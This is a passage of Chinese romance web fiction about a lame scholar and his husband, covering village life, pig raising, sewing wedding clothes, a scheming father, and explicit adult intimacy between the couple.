“一个瘸腿的书生,明知人家站不稳,还要用力夺人家拐,把人欺负到这份上,也难怪这书生发狠插着他脖子不放!” “是啊,书生之所以拿拐打他,还是不是因为他来纠缠别人夫郎,但凡是个壮汉都不至于无能到这个地步,就是欺负人家书生瘸腿!” 萧练没说话,那些话化成刀子一刀一刀地往他伤口里面扎,就是因为他瘸腿,人尽可欺,保护不了他的夫郎! 他心底寒意溢长,喉咙下发出低低的笑,从哭变笑,感觉就要发疯了,奈宁捧住了他的脸蛋,轻轻吻了一口他的额角:“谁说大少爷无能,我看大少爷最是威猛。” “有几个人处于劣势时敢怒起反击,我的大少爷却是敢明知自己瘸了一条腿,还要踹人家一脚,都不怕摔跤,这份勇气几个人有?” “而且大少爷还打赢了!” “手脚健全又怎么样,哪哪都不如大少爷!而且我的大少爷最厉害的分明是读书写字,勇敢威猛只是其中微不足道的小优点!” 小哥儿捧着他的脸蛋,眼睛都似有光。 萧练看着他呆愣了许久,抵着他的额头,终于笑出来,低声喃喃:“虽说确实如此,但能不能别喊大少爷,不是该喊夫君么?” 说着还有点委屈。 之后奈大壮说什么,他们也听不进去了,相互搀扶着站起来,旁人帮着把拐捡回来,奈宁道了声谢,扶着萧练离开。 奈大壮在身后喊得口干舌燥也没人理,恶狠狠放话道:“好,你真不认我这个爹,那就别怪我绝情!” 奈宁头也不回扬长而去,奈大壮看着他们离去的背影,牙齿都咬碎了,喃喃道:“好啊,那就别怪他不念这点父子情意了!” 今日就要弄死他。 第50章 第 50 章 小黄书 奈大壮骂骂咧咧, 头也不回的往一个方向走去,路上还撞了几个行人,被骂发疯。 很快他来到一处为偏僻的商铺前, 周边商店都在开门, 独这家铺面关着门,他敲开了门, 一个中年妇人将他引了进去, 捏着鼻子关了门。 萧得金萧得银借着说服奈大壮的由头,在镇上停留。 又跟之前的相好的缠绵上了。 还是镇上的小娘们得劲,不像县城里的狗眼看人低给他们脸色看, 这里的小娘子嘴里抹了蜜似的,赏了钱知道喊大少爷。 奈大壮道:“两位少爷这可是杀人啊, 多给点钱才行!” 萧得金道:“谁说不给你, 这一千文只是定金, 事成之后来要钱便是!” 一千文给出去又收回来, 拆了一半先给五百文钱。 奈大壮看着收回去的那五百文, 眼睛都要喷出毒来:“大少爷?你这个大少爷也太穷了些吧!如此大的事只有个五百文!” 萧得金道:“上一次就给了你钱,也没把事办成,先让我看到些好处再说, 总之事成之后必有重赏。” 奈大壮拿了钱,一会笑一会又满脸怨毒, 咬牙切齿走了, 梦想着等老子赢了大钱再如何如何。 萧得金一脸嫌弃道:“白眼狼,不知感恩!” 这边奈大壮拿了钱出来又遇到牛二,这回奈大壮看到牛二也是一脸恶寒了:“你又来做什么?没钱,滚!” “嘿嘿,大壮哥我来帮你搭把手啊, 我知道你们想做什么,我来帮你搭把手,里面那位给多少钱呀?” 奈大壮远远避着牛二,将钱往一边收,几乎像螃蟹一样横着走了。 牛二给奈大壮提意见道:“你杀儿子,还不如杀了萧练,儿子还可以再卖到青楼赚一笔!” 奈大壮满脑子都是赢钱,哪有心思想这个,等输光了从赌坊出来,这才拉着牛二去寻思怎么搞大钱。 这边奈宁拉着大少爷先去看腿,一个个医馆走下来,大夫都是摇头,所幸没一家收钱的了。 奈宁心情沮丧,宁愿他们收钱好么,只要能把大少爷的腿治好,身上十两银都可以不要! 大少爷在一边已经不说话了。 他早知道会如此,之前在县城,连郡城的名医都请下来了,没有用。 但是他看奈宁满脸关切,每看到一个医馆,眼里都有光,总归是有一点希望,他就陪着他走。 现在他的腿伤已经不是他一个人的问题了,是他们两个人的问题,他不应该耻于面对。 再也没看到医馆,奈宁终于有点气馁了:“算了,小镇上寻不到,咱们到别的地方寻,我就不信没有大夫看得好的,咱们先去买猪吧!” 说着又开心起来,拉着大少爷要往牲畜圈走:“咱们一边挖蘑菇一边养猪赚钱,将来遇到好大夫不愁没钱治病!” 谁知道大少爷不肯走,反过来拉他,眼神痴痴地看着一家书店。 奈宁道:“要买书么?” 他还挺开心的,大少爷原本就是书生,终于知道看书了,这是件好事,他赶紧翻开荷包给大少爷拿钱。 他知道书贵,随索把整个茶包都给了大少爷。 大大的十两银锭就躺在一堆铜铁了。 萧练有些不忍心拿他钱,刚才换到十两银锭时,奈宁悄悄地掐了又掐,眼睛都亮亮的。 但是现在床事不顺,不能一直如此下去,他要借书看看这到底正不正常。 从前一心只读圣贤书,完全不知道这种事情。 若不是奈宁摸他,他完全不知道光是摸就会有那种覆灭的感觉。 如今遇到问题,他无处排解,只能看书,他只知道春宫图是专门教这个的。 他往书店走,奈宁也跟在后面,走了两步,他脸颊有些烫,自己此行可不是正人君子之举,回头看着奈宁,欲言又止,不知说什么。 奈宁有些伤心:“我不能进去吗?” 萧练忙道:“怎么会!” 于是把奈宁拉进去了,进去之后又不知怎么办才好,他去到哪里奈宁就跟到哪里,这叫他如何翻春宫? 只能乱翻书。 心跳却是越来越快,脸颊越来越烫,耳根都烧起来,书面都拿反了也不知,还是奈宁在旁边看到了,提醒道:“大少爷,你的书好像拿反了?这图案怎么是反着的?” 还有什么东西是有图案,萧练蓦地惊醒,一看松了一口气。 不过是一个绣花图案而已。 松了一口气同时,又随手拿起一本书来看,他还没看呢,奈宁探身过去先瞧了,眨了眨眼睛又翻了一页,又眨了眨眼睛,就会更加迷惑了。 “大少爷,这本书……他们在干什么呀?” 两道白白的身影交叠在一起。 他正要再仔细看看,萧练看了一眼,大惊失色,赶紧抢了过来,塞进了怀里,脸颊发烫,话也不经头脑:“就就买这本吧!” 说着扭头就去结账。 奈宁有些想不明白,疑惑地嗯了一声。 书店的伙计喊:“萧公子好久没来了,已经有夫郎了呀?” 萧练付完钱,红着脸拉着夫郎赶紧走了。 谁知出门还有令他更加羞涩的事情,奈宁在他耳边说:“大少爷刚才那本,是春宫吗?” 萧练差点没平地摔死,硬着头皮道:“不,不是!” “我看到两个人没穿衣服,叠在一起。” “他们,”萧练差点没咬了自己舌头:“他们只是在友好交流。” 奈宁捂着嘴偷偷笑,也没多说,只道:“好呀。” 大少爷脸上色彩好不鲜艳,皮肤白里透粉,真是好看,奈宁忍不住捏了捏他脸蛋。 还好没再说什么,两人一起去买猪崽,一个多月的猪崽,一人抱一个装进背篓里。 两只小猪崽三百文,奈宁满心欢喜,果然有了钱就不一样,连猪崽都不觉得贵了。 又拉着大少爷去买肉,今天想吃鸡肉,买了一些米粉,回去来个鸡肉盖浇粉。 又买了些糕点小吃,上次买的绿豆饼红豆饼,还买了酱香饼。 坐在驴车上,奈宁捧着热乎乎的酱香饼拿竹签插着吃,香辣酥软,小时候没什么零嘴,就贪这口重味的。 萧练没这么爱重口,奈宁送过来他也吃,味道是不错,但不至于像奈宁这般吃得满脸陶醉,嘴上都是油光,吃了两口他就不吃了,笑着摇摇头,让奈宁自个吃。 等奈宁吃完了,拿了个手帕给他擦嘴。 后院猪圈鸡圈都是齐全的,小猪崽放进去,奈宁也不觉得累,背上背篓就要出去割草。 溪流旁边湿地长着大片肥沃的马齿苋,之前他跟大少爷还没种菜,就经常吃马齿苋,这会儿可以用来喂猪。 没多久就割了一大堆,在水里稍稍洗一下,切碎了放大锅里,再舀几勺谷子。 以后鸡鸭就不跟他们吃一锅了,跟猪吃一锅,谷子也不需要费劲磨成米。 他跟大少爷两个人吃不了多少米,一个月三十斤都不到,这么多鸡鸭吃的米都能拼上他们了。 饭煮好奈宁都没顾上吃,先提了猪食兑了水去喂小猪。 以后他们还得来个泔水缸,淘洗的米都倒到泔水缸里去。 小猪胖嘟嘟的,吧嗒吧嗒出吃猪食的样子莫名可爱。 奈宁捧着脸蛋想,养个一年,中元节刚刚好宰来吃肉,或者留八月十五也好。 萧练不知道夫郎刚养猪就想杀猪了,只觉得空空的后院一下子热闹起来,又有菜又有鸡鸭还有猪。 更重要的是还有夫郎。 现在的日子叫他莫名心安。 晚上吃的是辣子鸡盖浇粉,辣子鸡全场爆炒,呛得很。 但吃的时候是真香,大少爷说晚上要吃点淡口味的,所以吃的是汤粉。 奈宁是半点汤汁都不剩,把碗捧起来,汤底喝个精光。 今日没背太久蘑菇,大少爷还是殷勤的给他按肩,这次奈宁赶他出去,他也不出了,转过身去说:“我不偷看!” 奈宁羞得脸通红,等了一会,终于还是出水,一动就哇啦啦的水声,动静太大了,赶紧又埋进去。 只见大少爷还是背着身,一动不动。 要是奈宁凑近些看,会发现他耳尖都红了,这哇哇的水声叫他心头燥热。 奈宁定了定心神,轻手轻脚探出水面,警觉的看着大少爷的背影,烛光幽暗,该看的都是能看清楚的,叫人好生羞涩。 他侧过身来背对着大少爷,又忍不住偏头去看大少爷有没有回头偷看。 紧张又刺激,既希望大少爷偷看,又害怕大少爷很好看。 正是因为知道大少爷为人正直,不会偷看,所以更希望他能偷看。 他不知道在他低着脑袋穿裤子的时候,萧练偏过头来了。 不过只看到了一点点,又像被火烫了一样,赶紧偏过头去。 只看到一道残影,更叫人口干舌燥,心跳快得快要蹦出胸口。 萧练不敢再多看。 奈宁将荷包里面的钱都倒到桌上,哗啦啦的,桌子满满都是钱。 一本春宫没花多少钱,十两银锭还在。 奈宁拿起来咬了又咬,爱不释手,好像比糕点还好吃,笑眯眯道:“真的诶真的,嘿嘿。” 萧练也忍不住拿过来咬了咬,上面露出一个小小的牙印,他也哈哈笑了声。 从他手里花出去的真金白银不知有多少,第一次对一枚小小银锭爱不释手。 奈宁将它好好收起来,放在怀里又拍了拍。 许久没给大少爷揉腿了,奈宁又心血来潮,打了盘热水进来捧起萧练的腿。 还没开始动手呢,大少爷中间顶得老高。 低着眼眸闷声不吭,好像在隐忍着些什么。 见大少爷眼尾都泛红了,奈宁心里好笑,还是安分的帮大少爷的玩,又泡了热水,洗干净腿脚。 把水泼了,自己手也洗干净,回来的时候大少爷蔫蔫的坐在那里。 他离开的时候是什么样,回来的时候就怎么样,看到他,大少爷还闷闷的憋了憋嘴。 委屈巴巴的。 奈宁好笑地爬上床,手娴熟地探进去,一下子握住他的命根,在他耳边低声说:“大少爷,今晚要跟我友好交流吗?” 50-60 第51章 第 51 章 那我们晚上看 萧练只觉得浑身突然被熊熊大火烧了起来, 一时说不出哪里更难受一点。 夫郎知道他看的是什么书了! 天哪,真是丢死人了,尴尬的他不知如何自处。 索性偏过脸去。 奈宁手上用了点劲, 萧练一口咬住指节差点没吟出来。 奈宁的动作半点没停, 他最近娴熟了,可太知道怎么让大少爷舒服了。 大少爷眼神逐渐迷离, 薄唇张开, 喘息粗沉。 眼尾发红,已经受不了了,蹭到奈宁这边来, 贴着奈宁脖颈又亲又蹭。 舌尖探出来,舔着他的耳根, 奈宁浑身颤颤, 手脚发软, 不知如何是好。 好看的男人意乱情迷的模样, 原本就叫人心肚酥酥麻麻, 这回又勾又引,更是难受。 萧练道:“我也帮你吧。”嗓音性感的不像话,奈宁浑身激颤, 吓得赶紧推他:“不、不……” 缩着腿就要逃离,却被男人一下子揽进怀里。 他喘息声沉得叫人害怕。 奈宁努力的把自己护起来, 但男人的力道不是他能抵抗的, 大手伸过来一下子就将他的双手拉开了。 一只手将他脸蛋掰转过来亲,亲得他意乱情迷,另一只手握住了。 手掌宽大又很烫。 奈宁喉间溢出喘息声,但是被他堵住了唇。 没多久,大少爷的手脏了。 他笑大少爷, 但好像他自己比大少爷还不中用。 萧练眸光深沉的看了他一眼,嘴角含着一缕浅笑,出去打了盘热水进来。 奈宁蔫蔫地坐在床上,有点不想见人了。 萧练要帮他清理,他赶紧推开萧练:“我自己来。” 刚开口就吓了一跳,他声音也染上奇怪的味道。 他瘦瘦弱弱的,手都在发抖,刚才被亲到的脖颈留下了明显的痕迹,一副被欺负得狠了的模样,也有被吓到的成分吧,下床时差一点没跪倒。 萧练有点不忍心再伤他,听他的转过了身。 水声很轻,又很快没有了声音。 应该是在擦洗吧,萧练默默想。 床榻有轻微的动静,等他转过头来,小哥儿已经钻进被窝里了,把背留给他,一副不想理他的模样。 萧练眉眼弯了弯,心底一片柔软,把灯熄了钻进床去,小哥儿不给他抱,他也一定要把他揽进怀里。 金黄晨曦洒在水面,波光粼粼。 割猪草应该是昨晚的事,一时忘记了,只割了一晚的猪草,早晨起来,猪圈里的两头小猪吭哧吭哧叫个不停。 奈宁赶紧丢了一些菜叶子进去,就过来割猪草了。 大少爷跟在后面,他不敢回头,心跳砰砰乱跳。 昨晚的感觉很陌生,光是想想就让人腿脚发软。 奈宁还在羞不想理萧练,但他走到哪,萧练跟到哪。 早晨在灶房烫饼的时候大少爷靠过来,阴影笼罩在身上,呼吸都凝滞了。 低低的声音从头顶压上来叫他大气都不敢出,头皮一阵阵发麻,腿脚差点软倒。 他莫名喜欢大少爷跟在背后的感觉,想起昨晚被男人牢牢束缚在怀里动弹不得,他竟不觉得危险,反而是安全可靠的感觉。 嘴角不由得露出个浅笑。 奈宁眉眼舒展,卷起裤脚下水,萧练颤颤巍巍地也是跟着下来。 “你下来做什么,等你走得过来,我都要走了。” 猪还小,一日喂三顿,稍微割多一点草。 割得差不多了,回头看看大少爷,大少爷撒开拐杖,正在拔一根笋,笋噗一声倒了,他自己也倒在地上。 奈宁赶紧偏过头,假装没看到大少爷如此尴尬的一幕,嘴角却是忍不住偷偷笑。 萧练脸一烫,往奈宁方向看,见他没看过来,松了一口气,赶紧爬起来,又去剥了些竹壳,捞了些竹叶。 奈宁也捞了些田螺,刚要上岸,大少爷拄着拐就伸手过来了,林柳眉眼弯了弯,握住大少爷的手。 上游旁边传来小孩儿欢笑声,扭头看见一群小孩,大老远就冲过来,扑通一下扑进水里,嘻嘻哈哈玩闹一阵,发现这边有两个人,顿时僵了。 奈宁笑着说声:“玩吧,我们要走了。” 拉着大少爷回家去,一人剁猪草,一人砸田螺。 大锅里先倒入猪草,小半桶清水,几瓢谷子,再放上田螺,甚至还可以放两个鸡蛋, 当然鸡蛋是给人吃的,水煮蛋。 乡下人经常在猪食锅里面煮番薯呢。 看奈宁喂过一次猪,萧练就知道怎么喂了。 刚煮熟的猪食舀出来,还烫得厉害,拌几瓢泔水,好好匀一会,等没这么烫了再去喂猪,第一瓢慢点放。 等猪食没这么烫了,可以直接倒下去。 两只小猪崽根本不知道猪食还烫着,只知道自己饿了,哼哧哼哧叫个不停,还过来拱人的腿。 现在还小,拱不动,要是大一些萧练怕是要被掀翻。 倒在猪圈里,那可尴尬了。 今日的猪圈有些不干净,过了一夜,小猪吃喝拉撒都在此,要清理。 趁着他们吃饭的时候,奈宁拿工具过来清理,又提了几桶水冲洗。 猪圈之所以是猪圈,就是有槽,方便冲洗。 猪崽其实是很爱干净的,不会像鸡鸭一样四处乱撒。 萧练赶紧把猪食倒到槽里,抢过扫把来清理,奈宁负责冲,他负责扫。 等处理完这些事,萧练完全没有了胃口,还想洗个澡。 奈宁好笑,掰了一块蛋清往大少爷嘴里塞,后者吃着吃着还挺香。 今日天气好,奈宁决定收拾一下房间。 趁大少爷去洗澡了,他先去收拾大少爷之前住的房子。 以后他们俩都住一室了,这个房子不会再住,用过的床铺棉被都要清洗一遍,收起来才不会有味。 将枕头掀开,奈宁看到了个回来后就消失不见的东西,那本春宫图册。 原来大少爷偷偷藏藏在这里,也不知道他有没有功夫看了。 他坐在床上,翻开来看看。 一开始心情颇为悠哉,嘴角藏不住笑,看了两页,面红耳赤,再也不敢看了,一下子合了起来,心脏扑通扑通乱跳。 这春宫图册画得也太明晰了些,还有颜色,把那个地方画得明显。 不过他也就粗粗看了一眼,没有细看,莫名又好奇,原来交.合时是如此粗鄙肮脏的! 分明很旖旎之事…… 他拧了拧眉,想起那晚大少爷脱光了跟他说话,他不敢直视,但好像确实是挺粗暴的。 忍不住再看一眼。 脸颊烧得越来越烫,一看就忍不住看久了。 往下翻了两页,心脏快要跳出胸腔。 笃笃笃的声音渐行渐近,他也没发觉。 萧练还以为奈宁在做什么呢,如此专注,笑盈盈地走近一看他手里捧着的东西,俊脸烧到耳根,一口气吸进肚子,差点没把自己呛死。 奈宁正在看着,他都不知如何是好,满脑子乱了线,理不出头绪。 到底是把书抢过来呢,还是跟他一起看? 萧练喉结吞咽,莫名挺想跟他一起看的。 奈宁脸蛋含羞带怯,眼睛却发着光,身侧贴上一具温热的身体都没发现,直到耳坠被亲了一下,一扭过头来看到微喘的男人,心脏一梗。 不是大少爷看春宫被他发现了,而是他看春宫被大少爷发现了! 他慌忙将书盖住,低声说:“我、我才看了两页!” “嗯。”萧练指腹轻轻的磨蹭在他脸颊上,忍不住舔了舔唇,真可口啊。 但他不敢乱吃,生怕刚尝到味道就没了,书本都已经在了奈宁也已经看了,他低声诱惑道:“要不我们一起看?” 奈宁浑身剧烈颤抖,男人大手伸过来摸书时,他像是被烫到一样,一下子跳了起来:“大大大白天的看什么书,先先……” 萧练亲了他一口。 奈宁一下子蔫了,心跳快得要跳出胸膛。 萧练看了他一眼,舔了下他的唇,低声说:“好,那我们晚上看。” 这声音性感好听得叫人腿软。 奈宁弱弱的说,好想到画里面的场景就忍不住脸红。画里面的那个小哥儿说不准是舒服还是难受,脸蛋都是皱着奇怪的表情。 接下来他干活都不专心了,满脑子都是晚上怎么办? 萧练心里有了指望,干活麻利,时不时凑。过来亲一亲发呆的奈宁。 房间里的蚊帐床单被褥竹席都抱了出去,萧练不能双手来抱,一只手抱,抱的不多,一趟一趟地来回,不厌其烦地打水,一桶又一桶。 皂叶搓出泡沫,一遍一遍搓洗衣服。 狗子追逐打闹,跑得累了,趴在屋檐下休息。 萧练终于将最后一件衣服也搭到衣秆上,抹了把汗水,满心欢喜,回头看一脸奈宁。 后者被烫到一样,很快偏过脸去,一开始是走得快,后面一路小跑回了堂屋,抱着婚服,胡乱地穿针引线,不敢看后面跟进来的男人。 线怎么都穿不过孔,萧练在旁边坐下,奈宁越发定不住心神。 一只大手突然伸过来握住了他捏针线的指尖,轻轻地将针线抽走,拿过他怀里的衣服,娴熟地缝起来。 看着大少爷俊美的脸蛋,眼睫轻垂,神情认真,奈宁心底生出暖意,凑过去亲了亲男人的脸颊。 第52章 第 52 章 我们去买点肉吧,补补…… 奈宁也不闲着, 跟大少爷一起缝婚服。 一人做一边,没什么技术含量,耗的都是功夫。 引线略有讲究, 单线合拢, 双线穿过针孔,拉长, 折叠, 形成四根线,不是四根线都缝进去。 针两端的双线不同长,线的末端打死结, 一路缝在布上,这一端要比另一端长, 要缝到四根线的时候, 针往线头那端移动。 如此, 一次穿针引线所能缝到的衣服就越多。 缝一段布之后再拉线, 熟练者每一段线都缝得漂亮好看, 不会凹凸不平。 大少爷现在的技术就很灵巧。 奈宁自己都自愧不如。 起针跟收针的时候是在布上打的结,大少爷一点就通,整件衣服不见线头, 针脚细密松弛有度,漂亮又整洁。 能工巧匠也不过如此。 到下午两人就将这一套衣服做完了。 萧练不知疲惫似地, 又要开始做帽子鞋子, 奈宁好笑地拉过他:“我不懂得做帽子呀。” 冬天年轻人基本都不戴帽子的,穷人家不戴,富贵人家也少戴,就老人家戴一戴,但奈宁家没老人。 “再说绣一天衣服了, 你不累么?咱们出去走走吧,顺便问一下帽子怎么做,花怎么绣。”说着他有些脸红,声音也变小了:“我想在婚服上绣点花。” 萧练心脏一软,这句话无法拒绝。 他们拿了一块白布,把针线放在篮子里,提着篮子出门。 奈宁也不知道谁的绣活干得好,反正就跟大少爷在村子里乱逛,哪里有人扎堆聊天说话就过去坐一会,这个看看那个瞧瞧,总有人能看出来。 萧练还是第一次扎堆这种热闹,乖乖地坐在奈宁旁边。 大家都好奇地看过来,年轻的媳妇哥儿还悄悄地偷笑。 奈宁也是第一次。 带个好看的男子出来就是不一样,大家都很乐意教。 奈宁看着也挺好笑,大少爷的手比他们村子最漂亮的姑娘的手还要白。 所以村子里最好看的人是谁呢,若是不分男女哥儿,定然是大少爷。 不知道为什么,他也不觉得生气,更不觉得吃醋。 可能大少爷学到一个技能,就要拿过来给他看一看,眉眼都是笑。 与旁人对视时,眉眼没什么笑,只能说彬彬有礼,会道谢。 看向奈宁时,眉眼间的爱意实在太明显了。 就算不知道他们关系的,一眼也要知道这定是他夫郎,姊妹之间都不是这么笑的。 太宠了,那眼神几乎要亲上去。 时不时脑袋还要凑在一起低声说话。 萧练学绣花学得认真,奈宁在那边跟旁人聊天说话,说得开心了,没顾上他,他抿着唇把手指勾过去,偏要将小哥儿的注意力拉过来,这才开心地给他看自己刚学到的技能。 奈宁小声地夸他:“大少爷就是聪明,好好学,学完了我们回去绣套很漂亮的婚服!” 萧练看他笑得开心的模样,心里痒痒,情不自禁就亲了上去。 他以为没有人看,其实所有人眼睛余光都往这边瞥。 奈宁脸颊发烫,心里是甜甜蜜蜜的。 没有人说话,只是悄悄对视一眼。 现在的大少爷变得有点奇怪,感觉正常之中透着一点不太正常,总之看到他这个模样,不觉得奇怪。 大家七嘴八舌讨论最基础的针法,萧练学完了,把布跟针线都收回篮子里,看奈宁还在跟别人说话,闷了一会,伸手把奈宁的手拉过来握在掌心,把玩他的手指又或者捏捏他的掌心。 奈宁也不是想跟旁人聊天的,主要是大家特别热情拉着他说话,他又不能像大少爷一样完全无视,像大少爷待他人这么随意,招之则来,弃之则去。 不过也是能理解,大少爷的叔伯在他出事的时候如此落井下石,他自然是没心思与邻交好的。 刚从这户人家出来要回家,立刻就有人兴冲冲的跑过来说:“快来看,快来看又有热闹看!” 奈宁还以为是什么,拉着大少爷去看,看到了他那个不人不鬼的父亲。 奈家门口,奈大壮跟牛二两个疯狂地往外面搬谷。 谭梨花哭喊着拉扯:“你把家里的谷都搬完了,那我们在家里吃什么?你个死男人什么都不干,就知道霍霍家里,以前还有点人样,现在半点人样都没有了,整个就是个鬼,瘟神!” “你这个牛二,你怎么不去死,我这辈子造了什么孽,跟这种人不人鬼不鬼的东西沾上关系!” 奈宁跟着大家冷眼旁观。 真是有意思,因为太想把他高价卖出去,明知这种人不能深交,还要死死缠着,最后把自己整个家都给贴进去。 所以为何说近朱者赤近墨者黑,人家避之不及的人,他们凑上去。 奈大壮说:“我又不是搬去给自己吃,卖了赚钱,到时家里还会没钱吗!” 他一转眼就看到了奈宁,眼里有怨意,但对家里分文都没有的婆娘更有怨意,恶狠狠道:“旧时那衰货在时,家里每日还有几文钱入账,这会怎么一文钱都没有了,你不懂学学他上山拾点山货赚钱吗,一点用都没有!” “那杂种也没半点用,赚那么多钱也不给一个老子花,早晚要弄死他!” 奈宁正看热闹出气呢,突然又提到自己,一脸恶寒,拉着萧练赶紧走了。 萧练回头看了他们一眼,对上谭梨花看过来的恶毒目光,眼睛眯了眯,嘴角露出一抹诡异的笑。 他不怕他们跟着一起去采蘑菇,就怕不跟来,他一定会好好带他们采蘑菇的。 谭梨花一阵胆颤,忙收回目光。 奈宁走得快,萧练走快了两步,掌心探入他垂在一侧的手:“我们去买点肉吧,补补。” 奈宁回头看大少爷眉眼藏不住的笑意,心肝一颤,莫名觉得这话没好事,脸颊发烫,低声道:“村里哪里有肉卖啊,上次不过偶然撞到,哪有这么巧,次次都能碰到的?” 萧练笑道:“那我们去买别人家养的鸡?” 奈宁好笑,没等他回答,旁边有个人喊道:“你们要买鸡吗?我家卖啊!” 回头一看,正是张寡妇她婆婆:“我家有三只鸡,不知道你会要不要全部买完?” 奈宁笑道:“好啊!” 三只鸡不过百文,赚了钱就想多吃点肉。 张阿婆一边带他们回去一边道:“陈瘪三那发瘟日日来我们家偷鸡吃,还不如都卖了给你,我宁愿便宜些卖都不便宜那发瘟,这种发瘟什么时候才能死!” 快没落音,就看一道身影鬼鬼祟祟的翻墙进了她家去。 张阿婆大叫一声,捡了根棍子就冲过去。 奈宁将篮子塞到大少爷手中,捡了根棍跟着冲了上去,他早想弄死这个人了。 陈瘪三鬼鬼祟祟翻墙,原本就害怕,一声震喝,直接摔进院子里。 张阿婆开门要花点时间,陈瘪三又从院子里爬出来,刚跳下去被萧练一棍砸在地上,直接流出血,回头一眼看到萧练,像见了鬼一样,惨叫着抱头就跑。 三只鸡奈宁也没压张阿婆的价,按镇上的价格给她钱。 回去半边鸡肉炖了汤,半边爆炒,将鸡肉腌制过后,将锅烧热,下油,油滋滋滋乱溅,腌好的鸡肉倒进去,热油溅起来,烧火炒菜的两人一个比一个躲得快,萧练拿筛子挡了一下,不然炒个菜他都要摔。 爆炒出来的鸡肉就是香。 还炒了个酸辣土豆丝,土豆是大宝叔送来的,炒熟了,闻着味就香。 饭菜端上来,又是丰盛的一天。 人开心,狗子也开心,从他们杀鸡开始,狗子就摇着尾巴汪个不停。 每一道菜都很开胃,又相得益彰,这一顿吃得满足。 萧练洗得快,把书本放在怀里,嘴角含笑,一拐一拐地去找奈宁,进房之前不失礼貌得体地敲门。 敲一下门,嘴角的笑容就要更深一些。 一会要跟夫郎一起看书,光是想想就压不住嘴角。 里面传来低低的一声“进来”,萧练动作敏捷得不像瘸腿之人。 奈宁刚出了水,没穿衣服,就裹了一块布,身上湿漉漉的,头发也有点湿润。 他竟然没穿衣服! 萧练眼睛都看直了,视线落在他露出来的锁骨还有小腿上。 白白净净,纤细漂亮,就太瘦了些,骨感美过盛,过分容易折断的感觉。 奈宁回头看了他一眼,红着脸赶紧钻床上去了,蚊帐很快拉下来。 萧练口干舌燥,声音哑得不像话:“那我我们不是要看书吗?” 里面传来低柔的声音:“你念给我听吧。” 萧练喉头发紧,提了个椅子坐在床边,油灯点在一侧,翻开了书本。 看到图了,他才发呆愣了愣,这是画又不是字,怎么念给他听? 跟他说,两人褪光衣物,此进入彼,彼包容此? 萧练心脏要被烧起来那般,自脸颊一路红到耳根,他探出手摸向床里面,也不开蚊帐,就这么一寸一寸的摸进去。 奈宁看着大少爷渐近的手,心跳快得要蹦出胸腔,大气不敢出,但是一动不动,任男人的手慢慢靠近,握住了他的手。 萧练拉住他的手,嘴角翘起来,骤然用力,将人从床里拉出来:“还是我们一起看吧?” 第53章 第 53 章 顺利 奈宁一下子就撞入了他怀里, 身上的布料坠落下来,匆忙去扯。 萧练却先一步将他圈进怀里,顺势坐到了床上。 奈宁羞窘道:“布……” 萧练瞥了一眼, 只当没看到, 默默地将人圈向一侧,脸蛋蹭着他柔软的头发, 香香的。 奈宁挣扎着想要去拿布, 萧练说:“别动,一会撒了油。” 又将放着油灯的小几子拉近了些。 他也是第一次看这种书,还是跟夫郎一起看, 羞耻之余更多的是激动。 看完就可以按上面教的实践了。 他心跳加速,面红耳赤, 低声哄着怀里的人继续往下看:“夫郎, 我们做的都是该做之事, 不必羞赧。” 炙热的气息喷在耳后根, 大手摁在书本上没有翻动, 柔软的唇瓣舔着他的耳廓,时不时包含进温热口腔里,又流连到脖颈, 或磨蹭或舔吻。 奈宁脸蛋烫得不知道往哪里消消热才好,大少爷比他还烫, 一直灼烧着他。 奈宁不敢动, 尽是□□的煎熬。 莫名懊恼起自己为何如此胆大,竟敢不穿衣服。 萧练亲了一阵,喉结滚动,咽住那股难耐,又开始翻页, 这会认真多了,不再乱动,但也一定要奈宁认真好好看。 奈宁如坐针毡,一走神萧练就把他的脸掰回去,一定要他看里面交叠的人。 那个小哥儿被折成各种各样的形状,或面对面或背对着男人,脸上神情时痛苦时快乐,说不清楚。 □□画得狰狞,叫人害怕,可它就在身后,奈宁又莫名期待,一动不敢动,生怕惊惹了它,但又有点不怕死地想要去逗逗。 内心挣扎又煎熬,想动又想起自己累得要死的手。 萧练看着看着突然不对劲,很多奇怪的姿势,但问题是,他连第一个姿势都没能成功,就给他其它奇奇怪怪的姿势,这对吗? 一个姿势几个画面,有进有出。 他晓得,但,这画本也没说,如何才能让自己克制住,不会早早收场呢? 他慌了,再也不能气定神闲地翻看画本,翻了一遍下去,又从末翻了一遍上来。 不敢相信地来回了三四次,心脏突然有点死了。 奈宁把手伸向后面的时候,他一下子站了起来,拐杖都没拿,一跛一跛冲到一角吹着冷风,继续翻着页。 每一个动作都是寥寥几个画面而已,萧练心底莫名焦躁,如果他没见过狗子,他就信了。 正在寒心之时,一具柔软的身躯贴了上来,偏过头去。 奈宁脑袋贴在他肩膀上,眼睛睁得大大的,脸蛋红扑扑的,羞涩又期待地看着他。 萧练喉结攥动。 现在真是骑虎难下。 他就像一个未经情事的小和尚,不知道该往哪里躲夫郎,只听到身后的人软软地喊道:“夫君?” 萧练命根子都要爆了,满脑子思绪乱如麻。 在做与不做间徘徊挣扎。 不知道大少爷为何突然开始逃跑,奈宁红着脸蛋把他拉到床边,推到床上,按着书本学到的某些图案,把他摁倒在床上。 萧练死死闭着眼睛,他已经有画面,但不敢想象坐下去会怎么样。 骨节分明的手紧紧握着薄被,这种事情已经发生了两次,再来一次,他这辈子大抵都如此了。 奈宁有点好笑,抬起头只看到大少爷脸蛋偏向一旁,忍不住俯下身来亲亲他的脸,小声说不要担心不会弄疼你的。 萧练咬紧牙关,莫名有点想死是怎么回事。 什么叫做不会弄疼他的? 好像他是被逼的那个。 奈宁坐下来,他大气都不敢出。 一切好像挺正常的。 坐到底时奈宁轻轻哼了声,随后停止了动作。 薄被在萧练手底下被抓皱,两人都屏住了呼吸萧练半点不敢松懈,依然不敢动,当小哥儿动作起来的时候,头皮阵阵发麻,会有冲动,但能克制。 他就这般屏气凝神,让小哥儿慢慢动作。 随着流时间流逝,他掩住脸,嘴角的笑容已经失控。 比想象中的顺利太多。 顺利过头了,时间有些久,奈宁受不住趴在他身上,想要就此睡觉。 刚尝到味道的男人哪里肯就此作罢,扶着他的腰,喃喃喊着夫郎,声音又哑又软,半点不给他逃脱机会。 …… 一夜荒唐过去,奈宁腰酸腿疼,像做了上千个深蹲,一下床就腿脚发抖。 萧练默默地凑过来,从后面揽着他,弱弱地说:“昨晚辛苦夫郎了,这次我来。” 奈宁张了张嘴,满脸羞赧,还是忍不住开口:“我可受不住了,要休息!” 说着打开他作乱的手。 萧练立刻改口:“那晚上我来!” “到晚上我们再好好探究一下那画本。” 奈宁:“……” 昨晚探得还不够吗? 